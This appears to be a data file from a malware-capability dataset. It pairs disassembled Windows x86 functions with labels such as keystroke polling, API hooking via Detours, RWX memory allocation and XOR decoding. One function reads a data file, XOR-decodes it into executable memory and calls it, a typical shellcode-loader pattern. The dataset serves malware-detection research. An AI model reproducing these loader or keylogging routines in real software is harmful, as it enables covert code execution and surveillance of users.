joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d01e0
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x18
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x4d0253
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 1
call edi
shr eax, 8
test al, al
jne 0x4d0211
push 2
call edi
shr eax, 8
test al, al
je 0x4d0253
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [esi + 8]
lea edx, [esp + 8]
push edx
push eax
call dword [sym.imp.USER32.dll_ScreenToClient]
mov edx, dword [esi + 8]
lea ecx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
jne 0x4d02c5
mov eax, dword [esi + 0xc4]
mov dword [esi + 0xc4], 0xffffffff
cmp eax, 0xffffffff
mov dword [esi + 0xc8], 0
je 0x4d027a
push eax
mov ecx, esi
call fcn.004d0b90
push 0xffffffffffffffff
mov ecx, esi
mov byte [esi + 0x1a8], 4
call fcn.004d0b90
mov eax, dword [esi + 0xa4]
test eax, eax
je 0x4d02c5
mov eax, dword [esi + 8]
lea edi, [esi + 0x34]
push eax
mov ecx, edi
call fcn.004d25b0
mov ecx, dword [esi + 8]
push ecx
mov ecx, edi
call fcn.004d2560
mov edx, dword [esi + 8]
mov eax, dword [esi + 0xe0]
push edx
push 0xffffffffffffffff
push 0x1082
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
pop edi
pop esi
add esp, 0x18
ret
Function at 0x4d2a40
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x5c
push ebx
push esi
mov ebx, ecx
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 0xc], 0x67
push eax
mov dword [esp + 0x20], eax
call dword [sym.imp.MSVCRT.dll_wcslen]
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0x78]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x84]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], eax
mov ecx, 0xd
xor eax, eax
lea edi, [esp + 0x38]
add esp, 4
mov dword [esp + 0x30], edx
lea edx, [esp + 0x34]
rep stosd dword es:[edi], eax
mov ecx, 0xa
lea esi, [esp + 0xc]
lea edi, [esp + 0x3c]
push edx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x70]
push eax
mov eax, dword [ebx + 4]
push 0x1132
push eax
mov dword [esp + 0x48], 0xffff0002
mov dword [esp + 0x44], ecx
call dword [sym.imp.USER32.dll_SendMessageW]
pop edi
pop esi
pop ebx
add esp, 0x5c
ret 0x18

Function at 0x4d3020
Capabilities:
Hide graphical window

Disassembly:
push 0xffffffffffffffff
push 0x4dc3eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0x262c
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 4], eax
test eax, eax
mov dword [esp + 0x10], 0
je 0x4d305f
mov ecx, eax
call fcn.0049e8b0
jmp 0x4d3061
xor eax, eax
push 0
mov dword [esi + 0x58], eax
push 0
push 0
lea eax, [esi + 0x8d0]
push 0
push eax
push 0
lea ecx, [esi + 0x5c]
mov dword [esp + 0x28], 0xffffffff
call fcn.004b2ff0
test esi, esi
je 0x4d308e
lea eax, [esi + 0x28]
jmp 0x4d3090
xor eax, eax
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
mov dword [esi + 0x8e8], eax
mov eax, dword [esp + 0x24]
push 0
push ecx
mov ecx, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x28]
push eax
push ecx
push edx
push 0
mov ecx, esi
call fcn.004d36e0
mov ecx, dword [esi + 0x58]
call fcn.004a0d10
test eax, eax
je 0x4d30d1
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xf8]
mov eax, dword [esp + 0x28]
test eax, eax
je 0x4d30e4
mov ecx, dword [esi + 0x58]
push 0
push eax
mov edx, dword [ecx]
call dword [edx + 0x20]
mov ecx, dword [esi + 0x58]
push 0
call fcn.0049ff70
mov eax, dword [esi + 4]
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [esp + 8]
mov eax, dword [esi + 4]
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 0x18
Function at 0x4d3d38
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dfdb8
push 0x4d4d54
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x38], ecx
cmp word [ecx], 0x5a4d
jne 0x4d3dbe
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
je 0x4d3d96
xor al, al
or dword [ebp - 4], 0xffffffff
jmp 0x4d3dc4
mov edx, dword [eax + 0xd8]
lea esi, [edx + ecx]
cmp dword [ebp + 0xc], esi
jb 0x4d3d8e
mov eax, dword [eax + 0xdc]
add eax, edx
add eax, ecx
cmp dword [ebp + 0xc], eax
jae 0x4d3d8e
mov al, 1
jmp 0x4d3d90
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4d3e23
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push esi
mov esi, dword [0x740db8]
test esi, esi
je 0x4d3e47
lea eax, [esp + 4]
push eax
push 0x40
push 0x10000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [esi + 4]
jmp 0x4d3e2b
pop esi
pop ecx
ret

Function at 0x4d3e4a
Capabilities:
Resume thread

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x740dc4], eax
je 0x4d3e60
mov eax, 0x10dd
pop ecx
ret
push ebx
push esi
mov esi, dword [0x740dd4]
xor ebx, ebx
cmp esi, ebx
push edi
je 0x4d3ead
lea eax, [esp + 0xc]
push eax
mov eax, dword [esi + 0x10]
push dword [esi + 0x14]
movzx eax, byte [eax + 0x17]
push eax
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [esi + 4], ebx
jne 0x4d3e9e
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x4d3e9e
push eax
call fcn.004d3f14
pop ecx
mov dword [esi + 0x10], ebx
mov edi, dword [esi]
push esi
call fcn.004d4cc1
cmp edi, ebx
pop ecx
mov esi, edi
jne 0x4d3e6f
mov dword [0x740dd4], ebx
call fcn.004d3eed
mov esi, dword [0x740dd0]
cmp esi, ebx
je 0x4d3eda
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, dword [esi]
push esi
call fcn.004d4cc1
cmp edi, ebx
pop ecx
mov esi, edi
jne 0x4d3ec2
pop edi
mov dword [0x740dd0], ebx
mov dword [0x740dc4], ebx
pop esi
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x4d4197
Capabilities:
Suspend thread

Disassembly:
mov eax, dword [0x740dc8]
push esi
test eax, eax
push edi
jne 0x4d4201
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [esp + 0xc]
cmp edi, eax
je 0x4d41ff
push 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
pop ecx
test esi, esi
jne 0x4d41c3
push 8
pop edi
jmp 0x4d41de
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x4d41ef
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call fcn.004d4cc1
pop ecx
and dword [0x740dcc], 0
mov dword [0x740dc8], edi
mov eax, edi
jmp 0x4d4201
mov dword [esi + 4], edi
mov eax, dword [0x740dd0]
mov dword [esi], eax
mov dword [0x740dd0], esi
xor eax, eax
pop edi
pop esi
ret 4
Function at 0x4d44be
Capabilities:
Allocate or change rwx memory
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
cmp esi, 0x7ff80000
mov ebx, 0x10000
jbe 0x4d44e2
lea eax, [esi - 0x7ff80000]
mov dword [ebp + 8], eax
jmp 0x4d44e5
mov dword [ebp + 8], ebx
cmp esi, 0x80000000
jae 0x4d44f8
lea eax, [esi + 0x7ff80000]
mov dword [ebp - 4], eax
jmp 0x4d44ff
mov dword [ebp - 4], 0xfff80000
mov eax, dword [0x740dbc]
mov ecx, dword [0x740db8]
test eax, eax
jne 0x4d4519
test ecx, ecx
je 0x4d452e
mov eax, ecx
mov dword [0x740dbc], eax
mov edx, dword [eax + 8]
test edx, edx
je 0x4d452e
cmp edx, dword [ebp + 8]
jb 0x4d452e
cmp edx, dword [ebp - 4]
jbe 0x4d4687
mov eax, ecx
test ecx, ecx
mov dword [0x740dbc], eax
je 0x4d455e
test eax, eax
je 0x4d4552
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x4d4552
cmp ecx, dword [ebp + 8]
jb 0x4d4552
cmp ecx, dword [ebp - 4]
jbe 0x4d4687
mov eax, dword [eax + 4]
test eax, eax
mov dword [0x740dbc], eax
jne 0x4d453d
mov eax, esi
and eax, 0xffff
sub esi, eax
cmp esi, dword [ebp + 8]
mov edi, esi
jbe 0x4d45c6
cmp edi, 0x70000000
jb 0x4d4583
cmp edi, 0x80000000
ja 0x4d4583
mov edi, 0x6fff0000
lea eax, [ebp - 0x20]
push 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4d45c6
cmp dword [ebp - 0x10], ebx
jne 0x4d459e
cmp dword [ebp - 0x14], ebx
jae 0x4d45ae
mov eax, dword [ebp - 0x1c]
lea edi, [eax - 0x10000]
cmp edi, dword [ebp + 8]
ja 0x4d456e
jmp 0x4d45c6
push 0x40
push 0x3000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0x740dbc], eax
jne 0x4d463d
cmp esi, dword [ebp - 4]
jae 0x4d46ae
cmp esi, 0x70000000
jb 0x4d45e4
cmp esi, 0x80000000
ja 0x4d45e4
mov esi, 0x80010000
lea eax, [ebp - 0x20]
push 0x1c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4d46ae
cmp dword [ebp - 0x10], ebx
jne 0x4d4632
cmp dword [ebp - 0x14], ebx
jb 0x4d4632
mov ecx, esi
and ecx, 0xffff
je 0x4d461a
mov eax, ebx
sub eax, ecx
sub dword [ebp - 0x14], eax
add dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x20]
push 0x40
push 0x3000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0x740dbc], eax
jne 0x4d463d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
lea esi, [eax + ecx]
jmp 0x4d45c6
mov dword [eax], 0x52727464
mov eax, dword [0x740dbc]
xor ecx, ecx
mov dword [eax + 8], ecx
mov eax, dword [0x740dbc]
mov edx, dword [0x740db8]
mov dword [eax + 4], edx
mov eax, dword [0x740dbc]
mov dword [0x740db8], eax
add eax, 0xffe0
mov edx, 0x7fd
mov dword [eax + 0x18], ecx
mov ecx, eax
sub eax, 0x20
dec edx
jne 0x4d466f
mov eax, dword [0x740dbc]
mov dword [eax + 8], ecx
mov eax, dword [0x740dbc]
mov esi, dword [eax + 8]
cmp esi, dword [ebp + 8]
jb 0x4d46ae
cmp esi, dword [ebp - 4]
ja 0x4d46ae
mov ecx, dword [esi + 0x18]
push 0x20
push 0xcc
push esi
mov dword [eax + 8], ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, esi
jmp 0x4d46b0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4d46b5
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dfdc8
push 0x4d4d54
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4d472a
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
cmp word [ecx], 0x5a4d
jne 0x4d4726
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x4d4726
cmp word [eax + 0x14], 0
jne 0x4d471b
xor eax, eax
or dword [ebp - 4], 0xffffffff
jmp 0x4d472c
mov eax, ecx
jmp 0x4d4715
or dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4d473b
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x740dc4], eax
je 0x4d475a
mov eax, 0x10dd
jmp 0x4d4830
mov eax, dword [0x740dc8]
test eax, eax
jne 0x4d4830
mov edi, dword [ebp + 8]
test edi, edi
jne 0x4d4776
push 6
pop eax
jmp 0x4d4830
cmp dword [edi], 0
jne 0x4d4788
push 6
pop eax
mov dword [0x740dc8], eax
jmp 0x4d482a
push 0x18
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
pop ecx
test esi, esi
jne 0x4d479b
push 8
pop edi
jmp 0x4d4814
mov edi, dword [edi]
push 0
push dword [ebp + 0xc]
call fcn.004d3cd0
movzx ecx, byte [edi + 0x17]
mov ebx, dword [edi + 0x18]
xor edx, edx
sub ebx, ecx
cmp ecx, edx
je 0x4d4809
cmp ecx, 0x17
ja 0x4d4809
cmp dword [edi + 0x1c], eax
jne 0x4d4809
lea eax, [ebp - 4]
mov dword [ebp - 4], edx
push eax
push 0x40
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4d47df
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x4d4814
mov eax, dword [ebp + 8]
mov dword [esi + 4], 1
mov dword [esi + 8], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0xc], ebx
mov eax, dword [ebp - 4]
mov dword [esi + 0x14], eax
mov eax, dword [0x740dd4]
mov dword [esi], eax
mov dword [0x740dd4], esi
xor eax, eax
jmp 0x4d4830
cmp dword [0x740dc0], edx
push 9
pop edi
jne 0x4d481a
mov dword [0x740dc8], edi
test esi, esi
je 0x4d4825
push esi
call fcn.004d4cc1
pop ecx
mov eax, edi
mov edi, dword [ebp + 8]
mov dword [0x740dcc], edi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4015a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x44
lea eax, [ebp - 0x160]
push 0
push eax
call fcn.00401b80
lea ecx, [ebp - 0x160]
push ecx
push esi
mov dword [ebp - 0x160], 0x44
call fcn.00401420
add esp, 0x14
test eax, eax
jne 0x4015fe
pop edi
mov eax, 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040186a
mov esp, ebp
pop ebp
ret
push ebx
push esi
lea edx, [ebp - 0x108]
push 0x40b244
push edx
mov dword [edi], 0
mov dword [ebp - 0x10c], 0
call fcn.00401af8
movsx eax, byte [esi + 0x1000]
add esp, 0xc
lea ecx, [esi + 0x1000]
neg eax
sbb eax, eax
and eax, ecx
lea ecx, [ebp - 0x11c]
push ecx
lea edx, [ebp - 0x160]
push edx
push eax
mov eax, dword [esi + 0x1104]
push 0
or eax, 0x8000000
push eax
push 1
push 0
push 0
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4016ac
mov eax, dword [ebp - 0x11c]
mov dword [edi], 0
cmp dword [esi + 0x1210], 0
mov ebx, eax
jne 0x4016b6
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [ebp - 0x10c]
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040186a
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x10c], 1
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10c]
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040186a
mov esp, ebp
pop ebp
ret
Function at 0x100022d0
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
push ebx
xor ebx, ebx
push ebp
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10002301
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
push esi
lea ecx, [esp + 0xc]
push edi
push ecx
push ebp
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x10002398
cmp dword [esp + 0x14], ebx
jne 0x10002398
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x24]
cmp eax, 0x100000
mov dword [esi], eax
jbe 0x10002338
mov dword [esi], 0x100000
mov edx, dword [esi]
push edx
call fcn.100030d5
mov edi, dword [esp + 0x24]
add esp, 4
cmp eax, ebx
mov dword [edi], eax
je 0x10002398
push ebx
push ebx
push ebx
push 0x4000002
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
je 0x10002398
push 0
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
je 0x10002391
mov ecx, dword [esi]
mov edi, dword [edi]
mov edx, ecx
mov esi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 8
ret
Function at 0x100023b0
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Encode data using xor
Execute shellcode via indirect call

Disassembly:
sub esp, 0x120
push ebx
push esi
push str.nvdisps_event
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10002533
mov eax, dword [esp + 0x134]
push eax
call fcn.100031a2
mov edx, dword [0x1000e274]
add esp, 4
test edx, edx
mov ebx, eax
je 0x10002533
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x2c]
push ecx
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x28]
push 0x5c
push edx
call fcn.100030f0
mov byte [eax + 1], 0
mov edi, str.nvdisps_user.dat
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x30]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x30]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10008230
add esp, 0xc
test eax, eax
pop edi
je 0x10002533
lea ecx, [esp + 8]
lea edx, [esp + 0xc]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
call fcn.100022d0
add esp, 0xc
test eax, eax
je 0x10002533
push 0x40
push 0x1000
push 0x100000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10002533
mov ecx, dword [esp + 8]
xor eax, eax
test ecx, ecx
jbe 0x100024e2
mov edx, dword [esp + 0xc]
mov cl, al
add cl, bl
xor cl, byte [eax + edx]
inc eax
mov byte [eax + esi - 1], cl
mov ecx, dword [esp + 8]
cmp eax, ecx
jb 0x100024ca
call esi
mov eax, dword [esp + 8]
lea ecx, [esp + 0x14]
push eax
push esi
push ecx
call fcn.100017e0
mov eax, dword [esp + 0x24]
add esp, 0xc
test eax, eax
je 0x1000251c
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x10002513
cmp al, 0xff
je 0x10002513
dec al
mov byte [ecx], al
jmp 0x1000251c
push ecx
call fcn.100028fc
add esp, 4
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10002533
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop esi
pop ebx
add esp, 0x120
ret

Function at 0x10008230
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000824a
test al, 0x10
jne 0x1000824a
mov eax, 1
ret
xor eax, eax
ret
Function at 0x401c31
Capabilities:
Clear file content
Get common file path

Disassembly:
sub esp, 0x400
push esi
xor esi, esi
cmp dword [0x24a2374], 0x400
push edi
jne 0x401c84
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawStateW]
push esi
call fcn.004041a1
push esi
call fcn.00404928
push esi
push esi
call fcn.00404773
push esi
call fcn.004049de
push esi
push esi
call fcn.004041db
add esp, 0x1c
xor edi, edi
cmp edi, 0x16c76
jge 0x401c96
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp edi, 0x12e5c52
jg 0x401cbc
inc edi
cmp edi, 0x3003f
jl 0x401c86
mov eax, dword [0x484b7c]
mov dword [0x24a2374], eax
call fcn.0040192c
mov edi, 0x3078f
cmp dword [0x24a2374], 0x51f
jne 0x401ce8
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
dec edi
jne 0x401cd0
pop edi
xor eax, eax
pop esi
add esp, 0x400
ret 0x10

Function at 0x4027bb
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x47dc3d
call fcn.0047dac0
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00403491
xor edi, edi
push 4
mov dword [ebp - 4], edi
call fcn.004049ed
mov ebx, eax
pop ecx
cmp ebx, edi
je 0x402803
call fcn.00403245
mov dword [ebx], eax
call fcn.00403004
mov ecx, eax
call fcn.004011a5
mov eax, ebx
jmp 0x402805
xor eax, eax
mov dword [esi + 0x38], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea ecx, [esi + 0x1c]
mov dword [esi + 0x24], ecx
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x2c]
mov dword [esi + 0x34], ecx
mov dword [eax], edi
mov eax, dword [esi + 0x24]
mov dword [eax], edi
mov eax, dword [esi + 0x34]
mov dword [eax], edi
mov eax, dword [esi + 0x10]
mov dword [eax], edi
mov eax, dword [esi + 0x20]
mov dword [eax], edi
mov eax, dword [esi + 0x30]
mov dword [eax], edi
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
pop edi
mov dword [esi], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x405075
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48399c]
jne 0x40507f
repz ret
jmp fcn.0040b92c
Function at 0x4104bc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x48399c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040731b
and dword [ebp - 0x14], 0
cmp dword [0x48fc6c], 0
mov dword [ebp - 0x18], eax
jne 0x41056f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x410617
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x410617
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x48fc6c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x48fc70], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x48fc74], eax
call edi
push eax
call esi
mov dword [0x48fc7c], eax
test eax, eax
je 0x41056f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x48fc78], eax
mov eax, dword [0x48fc78]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4105c8
cmp dword [0x48fc7c], ecx
je 0x4105c8
push eax
call esi
push dword [0x48fc7c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4105c8
test ebx, ebx
je 0x4105c8
call edi
test eax, eax
je 0x4105bf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4105bf
test byte [ebp - 8], 1
jne 0x4105c8
or dword [ebp + 0x10], 0x200000
jmp 0x4105fb
mov eax, dword [0x48fc70]
cmp eax, dword [ebp - 0x18]
je 0x4105fb
push eax
call esi
test eax, eax
je 0x4105fb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4105fb
mov eax, dword [0x48fc74]
cmp eax, dword [ebp - 0x18]
je 0x4105fb
push eax
call esi
test eax, eax
je 0x4105fb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x48fc6c]
call esi
test eax, eax
je 0x410617
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x410619
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405075
leave
ret